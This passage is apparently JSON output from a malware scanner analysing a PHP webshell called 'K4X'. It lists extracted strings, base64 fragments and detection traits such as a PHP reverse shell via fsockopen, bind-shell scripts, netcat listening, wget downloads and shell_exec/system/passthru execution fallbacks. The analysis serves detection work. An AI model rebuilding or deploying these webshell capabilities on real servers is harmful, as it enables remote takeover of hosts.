"code_in_functions_ratio": 0.25 }, "identifiers": { "total": 2574.0, "avg_length": 7.07, "max_length": 20.0, "min_length": 1.0, "avg_entropy": 2.3, "reuse_ratio": 0.13, "unique_count": 341.0, "length_stddev": 4.01, "has_digit_ratio": 0.09, "sequential_names": 18.0, "single_char_count": 18.0, "single_char_ratio": 0.05, "high_entropy_count": 11.0, "high_entropy_ratio": 0.03, "all_lowercase_ratio": 0.89, "all_uppercase_ratio": 0.02, "numeric_suffix_count": 28.0, "underscore_prefix_count": 4.0 } }, "ss": [ [ 91, "K4X" ], [ 92, "K4X" ], [ 121, "SHELL" ], [ 122, "SHELL" ], [ 162, " " ], [ 163, " " ], [ 199, "2c68e1d50809e4ae357bcffe1fc99d2a" ], [ 200, "2c68e1d50809e4ae357bcffe1fc99d2a" ], [ 347, "K4X" ], [ 348, "K4X" ], [ 418, "K4X" ], [ 419, "K4X" ], [ 469, "login" ], [ 470, "login" ], [ 520, "login" ], [ 521, "login" ], [ 598, "K4X" ], [ 599, "K4X" ], [ 657, "PHP_SELF" ], [ 658, "PHP_SELF" ], [ 683, "Location: " ], [ 684, "Location: " ], [ 746, "K4X" ], [ 747, "K4X" ], [ 800, "PHP_SELF" ], [ 801, "PHP_SELF" ], [ 826, "Location: " ], [ 827, "Location: " ], [ 1192, "dZFfT4MwFMXf+RQVmSvJEuYzqcmCaJZlYwH0xT+EwVUbR0vaLmZx87PblqnEbG/33HPOL7dwfhZspAhWlAUtiLWzkYAyXr2DCh2PS0SQ95zoUW6lgoa4Ninf3NChL9gG" ], [ 1193, "dZFfT4MwFMXf+RQVmSvJEuYzqcmCaJZlYwH0xT+EwVUbR0vaLmZx87PblqnEbG/33HPOL7dwfhZspAhWlAUtiLWzkYAyXr2DCh2PS0SQ95zoUW6lgoa4Ninf3NChL9gG" ], [ 1587, "bZFvS8MwEMbf51PcYre1UKjiy1pxdFXHtnY0VRD/lNneNFiT0maozPnZTYpTEd+F537P5e65vZ63bhvvnguvxqYilmwhAOsu8YnFzqPZLKBdsX2kPuEru6t/wLP3okXu" ], [ 1588, "bZFvS8MwEMbf51PcYre1UKjiy1pxdFXHtnY0VRD/lNneNFiT0maozPnZTYpTEd+F537P5e65vZ63bhvvnguvxqYilmwhAOsu8YnFzqPZLKBdsX2kPuEru6t/wLP3okXu" ], [ 2102, "XVFNawIxEL0L/odhhZJocF2v2oKIBSmtontrZVmTbDd0TSSJxQ/8702y1loPSWbmvXkzvLSEpNWOcRgay4Tqlk/NRuuvdjCxUfSL2ztAcivciYUMgJAWNrmQyAe5/qQE" ], [ 2103, "XVFNawIxEL0L/odhhZJocF2v2oKIBSmtontrZVmTbDd0TSSJxQ/8702y1loPSWbmvXkzvLSEpNWOcRgay4Tqlk/NRuuvdjCxUfSL2ztAcivciYUMgJAWNrmQyAe5/qQE" ], [ 2549, "dVJhS+QwEP0u+B9yFW6Ttex2BT/1erCcCiK3B+oXUSkxSe1gNylJVl0W//tNmha0KrRJ5r2XzMtMDkCLZiMV+eW8BDOrf+/vHbzDLOjHMbh1c79tlfsCd0Y8KT8itPKA" ], [ 2550, "dVJhS+QwEP0u+B9yFW6Ttex2BT/1erCcCiK3B+oXUSkxSe1gNylJVl0W//tNmha0KrRJ5r2XzMtMDkCLZiMV+eW8BDOrf+/vHbzDLOjHMbh1c79tlfsCd0Y8KT8itPKA" ], [ 3150, "lVNda9swFH22wf9B9R4qk9T56PYS0CCMlJYlzWgyGHQjuLZSizqSkZS2+ffVvbKb0GSM5SHWx9E5514dfTrrbY3uPQjZ4/KZ1DtbKhmFYlMrbYkyXWJ28KfyJ267xIoN" ], [ 3151, "lVNda9swFH22wf9B9R4qk9T56PYS0CCMlJYlzWgyGHQjuLZSizqSkZS2+ffVvbKb0GSM5SHWx9E5514dfTrrbY3uPQjZ4/KZ1DtbKhmFYlMrbYkyXWJ28KfyJ267xIoN" ], [ 3962, "7Vh3WFPZtj8pkEASEiQISDsoCigdRkCDJAICChIBFQtCGhhNMzmhSAsTUEOMxq4ICg6jjgURlSpFcChWHBsKKDrohRvaIBcYUc8NI3e+Ke/73n/vj/fe+r619lm/Vfba" ], [ 3963, "7Vh3WFPZtj8pkEASEiQISDsoCigdRkCDJAICChIBFQtCGhhNMzmhSAsTUEOMxq4ICg6jjgURlSpFcChWHBsKKDrohRvaIBcYUc8NI3e+Ke/73n/vj/fe+r619lm/Vfba" ], [ 9821, "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJ" ], [ 9822, "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJ" ], [ 10874, "tVbJbtswEL33KwgEBVrAMrS4biKfggL9gqLXghIpiwhFChQd2xHy7xUpyhwtdlIgFS+2PJzlvTczziQ5tyjD+dNeyYMg6V1onx0qpNBBw15oGkX1yX0vcMX4Of2FS1nh" ], [ 10875, "tVbJbtswEL33KwgEBVrAMrS4biKfggL9gqLXghIpiwhFChQd2xHy7xUpyhwtdlIgFS+2PJzlvTczziQ5tyjD+dNeyYMg6V1onx0qpNBBw15oGkX1yX0vcMX4Of2FS1nh" ], [ 12094, "3VrvctvGEf/OpzixqkiGJCg6SWciilIsW5lo6jidWtN8oGjNAThSsECAAY6i1VgznT5GP7Zf+xTJm/RJurv3BwcQpKU07WQ6Y0vA3f753e7e7t5BdzxjubzIL87ZmA0+" ], [ 12095, "3VrvctvGEf/OpzixqkiGJCg6SWciilIsW5lo6jidWtN8oGjNAThSsECAAY6i1VgznT5GP7Zf+xTJm/RJurv3BwcQpKU07WQ6Y0vA3f753e7e7t5BdzxjubzIL87ZmA0+" ], [ 15966, "\u003ca href=\\\"?d=" ], [ 15967, "\u003ca href=" ], [ 15977, "?d=" ], [ 15986, "\\\"\u003e" ], [ 15989, "\u003e" ], [ 16000, " " ], [ 16001, " " ], [ 16024, " \u003c/a\u003e" ], [ 16025, " \u003c/a\u003e" ], [ 16123, "\u003cbr /\u003e" ], [ 16124, "\u003cbr /\u003e" ], [ 16221, " " ], [ 16222, " " ], [ 16225, "_" ], [ 16226, "_" ], [ 16647, "\u003cp class=\\\"rs_result\\\"\u003eerror: permission denied. check current working directory permissions\u003c/p\u003e" ], [ 16648, "\u003cp class=" ], [ 16659, "rs_result" ], [ 16670, "\u003eerror: permission denied. check current working directory permissions\u003c/p\u003e" ], [ 16759, "\u003cp class=\\\"rs_result\\\"\u003eerror: can not compile using gcc\u003c/p\u003e" ], [ 16760, "\u003cp class=" ], [ 16771, "rs_result" ], [ 16782, "\u003eerror: can not compile using gcc\u003c/p\u003e" ], [ 16837, "xbind_pl" ], [ 16838, "xbind_pl" ], [ 16863, "K4X_bind.pl" ], [ 16864, "K4X_bind.pl" ], [ 16968, "w" ], [ 16969, "w" ], [ 17067, "chmod +x " ], [ 17068, "chmod +x " ], [ 17107, "perl " ], [ 17108, "perl " ], [ 17122, " " ], [ 17123, " " ], [ 17232, "xbind_py" ], [ 17233, "xbind_py" ], [ 17258, "K4X_bind.py" ], [ 17259, "K4X_bind.py" ], [ 17363, "w" ], [ 17364, "w" ], [ 17462, "chmod +x " ], [ 17463, "chmod +x " ], [ 17502, "python " ], [ 17503, "python " ], [ 17519, " " ], [ 17520, " " ], [ 17630, "xbind_bin" ], [ 17631, "xbind_bin" ], [ 17657, "K4X_bind" ], [ 17658, "K4X_bind" ], [ 17777, ".c" ], [ 17778, ".c" ], [ 17798, ".c" ], [ 17799, ".c" ], [ 17833, ".c" ], [ 17834, ".c" ], [ 17838, "w" ], [ 17839, "w" ], [ 17921, ".c" ], [ 17922, ".c" ], [ 17950, "gcc " ], [ 17951, "gcc " ], [ 17964, ".c -o " ], [ 17965, ".c -o " ], [ 18036, "chmod +x " ], [ 18037, "chmod +x " ], [ 18087, " " ], [ 18088, " " ], [ 18270, ".exe" ], [ 18271, ".exe" ], [ 18348, "w" ], [ 18349, "w" ], [ 18455, "\\" ], [ 18467, "\\\" " ], [ 18470, " " ], [ 18594, "xback_pl" ], [ 18595, "xback_pl" ], [ 18620, "K4X_back.pl" ], [ 18621, "K4X_back.pl" ], [ 18678, " " ], [ 18679, " " ], [ 18760, "w" ], [ 18761, "w" ], [ 18859, "chmod +x " ], [ 18860, "chmod +x " ], [ 18899, "perl " ], [ 18900, "perl " ], [ 18914, " " ], [ 18915, " " ], [ 19024, "xback_py" ], [ 19025, "xback_py" ], [ 19050, "K4X_back.py" ], [ 19051, "K4X_back.py" ], [ 19108, " " ], [ 19109, " " ], [ 19190, "w" ], [ 19191, "w" ], [ 19289, "chmod +x " ], [ 19290, "chmod +x " ], [ 19329, "python " ], [ 19330, "python " ], [ 19346, " " ], [ 19347, " " ], [ 19457, "xback_bin" ], [ 19458, "xback_bin" ], [ 19484, "K4X_back" ], [ 19485, "K4X_back" ], [ 19539, " " ], [ 19540, " " ], [ 19639, ".c" ], [ 19640, ".c" ], [ 19660, ".c" ], [ 19661, ".c" ], [ 19695, ".c" ], [ 19696, ".c" ], [ 19700, "w" ], [ 19701, "w" ], [ 19783, ".c" ], [ 19784, ".c" ], [ 19812, "gcc " ], [ 19813, "gcc " ], [ 19826, ".c -o " ], [ 19827, ".c -o " ], [ 19898, "chmod +x " ], [ 19899, "chmod +x " ], [ 19949, " " ], [ 19950, " " ], [ 20131, ".exe" ], [ 20132, ".exe" ], [ 20209, "w" ], [ 20210, "w" ], [ 20323, " " ], [ 20324, " " ], [ 20629, " kb" ], [ 20630, " kb" ], [ 20715, " mb" ], [ 20716, " mb" ], [ 20754, "???" ], [ 20755, "???" ], [ 20864, "r" ], [ 20865, "r" ], [ 20870, "-" ], [ 20871, "-" ], [ 20900, "w" ], [ 20901, "w" ], [ 20906, "-" ], [ 20907, "-" ], [ 20936, "x" ], [ 20937, "x" ], [ 20942, "-" ], [ 20943, "-" ], [ 20972, "r" ], [ 20973, "r" ], [ 20978, "-" ], [ 20979, "-" ], [ 21008, "w" ], [ 21009, "w" ], [ 21014, "-" ], [ 21015, "-" ], [ 21044, "x" ], [ 21045, "x" ], [ 21050, "-" ], [ 21051, "-" ], [ 21080, "r" ], [ 21081, "r" ], [ 21086, "-" ], [ 21087, "-" ], [ 21116, "w" ], [ 21117, "w" ], [ 21122, "-" ], [ 21123, "-" ], [ 21152, "x" ], [ 21153, "x" ], [ 21158, "-" ], [ 21159, "-" ], [ 21196, "??????????" ], [ 21197, "??????????" ], [ 21268, "system" ], [ 21269, "system" ], [ 21405, "shell_exec" ], [ 21406, "shell_exec" ], [ 21490, "exec" ], [ 21491, "exec" ], [ 21620, "passthru" ], [ 21621, "passthru" ], [ 22054, "*" ], [ 22055, "*" ], [ 22211, "which $pr" ], [ 22212, "which " ], [ 22486, "w" ], [ 22487, "w" ], [ 22607, "wget" ], [ 22608, "wget" ], [ 22615, " " ], [ 22616, " " ], [ 22622, " -O " ], [ 22623, " -O " ], [ 22707, "lwp-download" ], [ 22708, "lwp-download" ], [ 22723, " " ], [ 22724, " " ], [ 22730, " " ], [ 22731, " " ], [ 22804, "lynx" ], [ 22805, "lynx" ], [ 22812, " -source " ], [ 22813, " -source " ], [ 22827, " \u003e " ], [ 22828, " \u003e " ] ], "sz": 85459, "ts": [ { "c": 0.800000011920929, "d": "HTTP Cookie access ($_COOKIE)", "e": [ "$_COOKIE" ], "i": "micro-behaviors/communications/http/request/params::cookie", "l": 3 }, { "c": 0.949999988079071, "d": "PHP open tag (\u003c?php)", "e": [ "\u003c?php" ], "i": "metadata/lang/scripted::php-open-tag", "l": 1 }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "method=" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-3", "l": 1, "m": "B0030" }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via shell_exec()", "e": [ "shell_exec" ], "i": "micro-behaviors/process/create/shell/lang::shell-exec", "l": 3, "m": "E1059" }, { "a": "T1059", "c": 0.699999988079071, "d": "Reverse shell keyword", "e": [ "reverse shell" ], "i": "micro-behaviors/data/text/malware/terms::generic-term-reverse-shell", "l": 3 }, { "c": 0.8399999737739563, "d": "\"to the\" doc cue", "e": [ "to the" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-6--inline-11768", "l": 1 }, { "a": "T1505.003", "c": 0.7799999713897705, "d": "Regex component marker", "e": [ "reverse shell" ], "i": "objectives/command-and-control/backdoor/webshell/self-label::webshell-admin-terms--rx-18", "l": 1, "m": "B0030" }, { "c": 0.8999999761581421, "d": "system fallback function name", "e": [ "system" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-system-name", "l": 1, "m": "B0030" }, { "c": 0.75, "d": "Hardcoded localhost network host", "e": [ "localhost" ], "i": "micro-behaviors/communications/ip/literal::localhost-source", "l": 2 }, { "c": 1.0, "d": "PHP rmdir function symbol", "e": [ "rmdir" ], "i": "micro-behaviors/fs/delete/directory::php-rmdir", "l": 3 }, { "c": 0.20000000298023224, "d": "command keyword", "e": [ "command" ], "i": "micro-behaviors/data/text/keywords/lexicon::command-dup", "l": 1 }, { "a": "T1059", "c": 0.949999988079071, "d": "PHP reverse shell pattern", "e": [ "$sock = fsockopen" ], "i": "objectives/command-and-control/reverse-shell/socket::reverse-shell-php", "l": 4 }, { "a": "T1505.003", "c": 0.4000000059604645, "d": "PHP $_REQUEST[...] superglobal access", "e": [ "$_REQUEST[" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-request", "l": 1, "m": "B0030" }, { "c": 0.8999999761581421, "d": "nc command invocation", "e": [ "nc -l" ], "i": "micro-behaviors/communications/socket/netcat::nc", "l": 3 }, { "c": 0.8399999737739563, "d": "\"password\" doc-context token", "e": [ " password=", "\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"password\\\" name=\\\"sqlpass4", "\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"password\\\" name=\\\"sqlpass3", "\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"password\\\" name=\\\"odbcpass", "password", "host=$sqlhost user=$sqluser password=$sqlpass port=$sqlport", "\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"password\\\" name=\\\"sqlpass1", "\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"password\\\" name=\\\"sqlpass2", " /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11750", "l": 1 }, { "c": 0.800000011920929, "d": "Writes data to an open file", "e": [ "fwrite" ], "i": "micro-behaviors/fs/write/file/direct::fwrite", "l": 3, "m": "C0052" }, { "c": 0.699999988079071, "d": "\"directory\" path-target noun", "e": [ "directory" ], "i": "micro-behaviors/data/text/llm/action::llm-path-noun-directory", "l": 1 }, { "a": "T1059", "c": 0.699999988079071, "d": "Bind shell keyword", "e": [ "Bind shell" ], "i": "micro-behaviors/data/text/malware/terms::generic-term-bindshell", "l": 3 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via exec()", "e": [ "exec" ], "i": "micro-behaviors/process/create/shell/lang::exec-dup", "l": 3, "m": "E1059" }, { "d": "Sets HTTP cookie via setcookie()", "e": [ "setcookie" ], "i": "micro-behaviors/communications/http/cookies::setcookie-call", "l": 3 }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "ini_get(\"safe_mode" ], "i": "objectives/command-and-control/backdoor/webshell/config::php-security-setting-probe--rx-1", "l": 1, "m": "B0030" }, { "c": 0.699999988079071, "d": "PHP error suppression operator usage", "e": [ "@set_time_limit(0)", "@is_dir($letter.\":\\\\\")" ], "i": "micro-behaviors/os/stdio::error-suppress-prefix", "l": 3 }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 1624.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "c": 0.8500000238418579, "d": "PHP mysql_connect database handle", "e": [ "mysql_connect" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-connect", "l": 3 }, { "c": 0.8500000238418579, "d": "PHP mysql query execution APIs", "e": [ "mysql_query" ], "i": "micro-behaviors/data/db/conn/mysql::php-mysql-query", "l": 3 }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "name=\"cmd\"" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-5", "l": 1, "m": "B0030" }, { "a": "T1562.001", "c": 1.0, "d": "Regex component marker", "e": [ "function_exists('shell_exec" ], "i": "objectives/evasion/security-bypass/runtime::function-exists-exec--rx-2", "l": 1, "m": "B0032" }, { "c": 1.0, "d": "PHP unlink function symbol", "e": [ "unlink" ], "i": "micro-behaviors/fs/delete/file::php-unlink", "l": 3 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via system()", "e": [ "system" ], "i": "micro-behaviors/process/create/shell/lang::system", "l": 3, "m": "E1059" }, { "c": 0.8399999737739563, "d": "\"upload\" string-literal token", "e": [ "uploadhd", "newfile.php\\\"\u003enewfile\u003c/a\u003e | \u003ca href=\\\"javascript:tukar('titik2','titik2_form');\\\"\u003enewfolder\u003c/a\u003e | \u003ca href=\\\"?upload\u0026amp;d=$paren", "\\\"\u003edelete\u003c/a\u003e | \u003ca href=\\\"?upload\u0026amp;d=", "\u003efile uploaded to \u003ca href=", "\u003cp class=\\\"rs_result\\\"\u003efile uploaded to \u003ca href=\\\"?d=", "upload", "\u003eupload\u003c/a\u003e\u003c/span\u003e\n \u003cform action=", "\\\"\u003eupload\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e", "newfile.php\\\"\u003enewfile\u003c/a\u003e | \u003ca href=\\\"javascript:tukar('titik1','titik1_form');\\\"\u003enewfolder\u003c/a\u003e | \u003ca href=\\\"?upload\u0026amp;d=$pwd\\\"", "?upload\u0026amp;d=", "\u003eupload\u003c/a\u003e\u003c/td\u003e\u003c/tr\u003e" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-11", "l": 1 }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "$_SERVER[" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-4", "l": 1, "m": "B0030" }, { "c": 0.800000011920929, "d": "Resolve GID to group (posix_getgrgid)", "e": [ "posix_getgrgid" ], "i": "micro-behaviors/os/group/lookup::posix-getgrgid", "l": 3 }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "file_get_contents (raw POST body reader)", "e": [ "file_get_contents" ], "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8399999737739563, "d": "PHP readfile output function", "e": [ "readfile" ], "i": "objectives/command-and-control/backdoor/webshell/stager::readfile-output", "l": 1 }, { "a": "T1027", "c": 0.9399999976158142, "d": "Architecture keyed encoded blob value", "e": [ "\"2c68e1d50809e4ae357bcffe1fc99d2a\"" ], "i": "objectives/anti-static/obfuscation/payload/config::arch-keyed-hex-blob-dict--encoded-value", "l": 1, "m": "B0032" }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Process execution via proc_open()", "e": [ "proc_open" ], "i": "micro-behaviors/process/create/shell/lang::proc-open", "l": 3, "m": "E1059" }, { "c": 0.699999988079071, "d": "MD5 hash computation", "e": [ "md5" ], "i": "micro-behaviors/crypto/hash/digest::md5-php", "l": 3, "m": "C0029" }, { "c": 0.75, "d": "Generic $_SERVER superglobal access", "e": [ "$_SERVER" ], "i": "micro-behaviors/communications/http/request/params::server-dup", "l": 3 }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Very long embedded string", "e": [ "strings.max_length = 5844.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string", "l": 1 }, { "a": "T1562.001", "c": 1.0, "d": "Regex component marker", "e": [ "function_exists('system" ], "i": "objectives/evasion/security-bypass/runtime::function-exists-exec--rx-1", "l": 1, "m": "B0032" }, { "c": 0.8199999928474426, "d": "fopen() with w/x/c overwrite mode", "e": [ "fopen($fpath,\"w\"" ], "i": "objectives/impact/infect/script::php-overwrite-file-mode", "l": 1 }, { "c": 0.6000000238418579, "d": "Generates HTML tags", "e": [ "\u003cbody" ], "i": "micro-behaviors/data/format/html::html-generator-tags", "l": 3 }, { "a": "T1083", "c": 1.0, "d": "Iterate directory contents via functions in PHP", "e": [ "glob(" ], "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-fn", "l": 2 }, { "a": "T1105", "c": 0.699999988079071, "d": "wget command", "e": [ " wget\n " ], "i": "micro-behaviors/communications/http/download/curl::wget-cmd", "l": 3 }, { "a": "T1105", "c": 0.699999988079071, "d": "curl command", "e": [ " curl\n " ], "i": "micro-behaviors/communications/http/download/curl::curl-cmd", "l": 3 }, { "d": "password keyword", "e": [ "password" ], "i": "micro-behaviors/data/text/keywords/lexicon::password", "l": 1 }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Service account oracle", "e": [ "oracle" ], "i": "objectives/lateral-movement/brute-force/password::service-account-oracle", "l": 1, "m": "E1110" }, { "a": "T1105", "c": 0.8500000238418579, "d": "Moves uploaded PHP file", "e": [ "move_uploaded_file" ], "i": "micro-behaviors/fs/write/file/direct::move-uploaded-file", "l": 3, "m": "C0052" }, { "c": 0.949999988079071, "d": "Disables error reporting (error_reporting(0))", "e": [ "error_reporting(0)" ], "i": "micro-behaviors/os/stdio::error-reporting-off", "l": 3 }, { "c": 0.8999999761581421, "d": "passthru fallback function name", "e": [ "passthru" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-passthru-name", "l": 1, "m": "B0030" }, { "c": 0.8999999761581421, "d": "shell_exec fallback function name", "e": [ "shell_exec" ], "i": "objectives/command-and-control/backdoor/webshell/exec::fallback-shell-exec-name", "l": 1, "m": "B0030" }, { "a": "T1059.006", "c": 0.75, "d": "PHP eval() token present", "e": [ "eval" ], "i": "micro-behaviors/process/interpreter/eval::eval-symbol", "l": 4, "m": "E1059" }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via passthru()", "e": [ "passthru" ], "i": "micro-behaviors/process/create/shell/lang::passthru", "l": 3, "m": "E1059" }, { "c": 1.0, "d": "PHP scandir function symbol", "e": [ "scandir" ], "i": "micro-behaviors/fs/enumerate/directory::php-scandir", "l": 3 }, { "d": "Content-Type header string", "e": [ "Content-Type:" ], "i": "micro-behaviors/communications/http/request/client::content-type-header", "l": 1 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports base64_decode", "e": [ "[base64_decode, basename, chdir, closedir, count, cp, cs, date, die, dirname, dlfile, error_reporting, eval, exe, exec, explode," ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-base64-decode", "l": 1 }, { "c": 0.8500000238418579, "d": "MIME octet-stream content type", "e": [ "application/octet-stream" ], "i": "micro-behaviors/communications/email/mime::mime-octet-stream", "l": 1 }, { "a": "T1071.001", "c": 0.6000000238418579, "d": "enctype attribute", "e": [ "enctype=" ], "i": "micro-behaviors/communications/http/post::enctype-attr", "l": 3, "m": "C0002" }, { "a": "T1027", "c": 0.9200000166893005, "d": "HOST URL component identifier", "e": [ "HOST" ], "i": "objectives/anti-static/obfuscation/payload/config::url-component-concat--rx-12", "l": 1, "m": "B0032" }, { "c": 0.800000011920929, "d": "PHP rename() symbol", "e": [ "rename" ], "i": "objectives/impact/infect/script::php-rename-call", "l": 1 }, { "a": "T1105", "c": 0.8500000238418579, "d": "File upload access ($_FILES)", "e": [ "$_FILES" ], "i": "micro-behaviors/communications/http/request/params::files", "l": 3 }, { "c": 0.8600000143051147, "d": "Regex component marker", "e": [ "PHP_SELF" ], "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-2", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "phpinfo" ], "i": "objectives/command-and-control/backdoor/webshell/exec::dangerous-php-function-cluster--rx-18", "l": 1, "m": "B0030" }, { "c": 0.8399999737739563, "d": "\"password\" string-literal token", "e": [ " password=", "\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"password\\\" name=\\\"sqlpass1", "\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"password\\\" name=\\\"sqlpass2", "host=$sqlhost user=$sqluser password=$sqlpass port=$sqlport", " /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=", "\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"password\\\" name=\\\"sqlpass3", "password", "\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"password\\\" name=\\\"odbcpass", "\\\" /\u003e\u003c/td\u003e\u003c/tr\u003e\n \u003ctr\u003e\u003ctd\u003ePassword\u003c/td\u003e\u003ctd\u003e\u003cinput style=\\\"width:100%;\\\" class=\\\"inputz\\\" type=\\\"password\\\" name=\\\"sqlpass4" ], "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-6", "l": 1 }, { "c": 0.800000011920929, "d": "Sequential source identifier names", "e": [ "identifiers.sequential_names = 18.00" ], "i": "metadata/file/text/profile::sequential-identifiers", "l": 2 }, { "a": "T1546", "c": 1.0, "d": "Writes data to a file via functions", "e": [ "fopen(" ], "i": "micro-behaviors/fs/file/write/direct::php-file-write-func", "l": 2 }, { "a": "T1505.003", "c": 0.8500000238418579, "d": "PHP request superglobal access", "e": [ "$_REQUEST" ], "i": "objectives/command-and-control/backdoor/webshell/upload::php-request-variadic-function-call", "l": 3, "m": "B0030" }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 5859.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "exec" ], "i": "objectives/command-and-control/backdoor/webshell/exec::dangerous-php-function-cluster--rx-16", "l": 1, "m": "B0030" }, { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP REQUEST parameter access ($_REQUEST)", "e": [ "$_REQUEST" ], "i": "micro-behaviors/communications/http/request/params::request-dup", "l": 3 }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Service account postgres", "e": [ "postgres" ], "i": "objectives/lateral-movement/brute-force/password::service-account-postgres", "l": 1, "m": "E1110" }, { "c": 0.6000000238418579, "d": "SELECT SQL keyword in query", "e": [ "SELECT * FROM" ], "i": "micro-behaviors/data/db/conn/sql::sql-select", "l": 3 }, { "c": 0.8399999737739563, "d": "password/token/api_key field keyword", "e": [ "password" ], "i": "micro-behaviors/data/text/keywords/credential::credential-field", "l": 1 }, { "c": 0.8500000238418579, "d": "Removes PHP script execution time limit", "e": [ "@set_time_limit(0)" ], "i": "objectives/command-and-control/backdoor/webshell/session::unlimited-runtime-call", "l": 4 }, { "a": "T1562.001", "c": 0.699999988079071, "d": "Reads safe_mode setting", "e": [ "ini_get(\"safe_mode" ], "i": "objectives/evasion/security-bypass/runtime::ini-get-safe-mode", "l": 4, "m": "B0032" }, { "a": "T1059.004", "c": 0.8999999761581421, "d": "Variable input reaches alt exec functions", "e": [ "passthru($" ], "i": "micro-behaviors/process/create/shell/lang::exec-user-input-func-alt", "l": 3, "m": "E1059" }, { "c": 0.699999988079071, "d": "Remove execution time limit", "e": [ "set_time_limit" ], "i": "micro-behaviors/process/control/signal::set-time-limit", "l": 3 }, { "a": "T1222", "c": 0.75, "d": "chmod +x (make executable)", "e": [ "chmod +x \"" ], "i": "micro-behaviors/fs/chmod/executable/mode::shell-plus-x", "l": 3, "m": "E1222" }, { "c": 0.6000000238418579, "d": "Very long base64 strings present", "e": [ 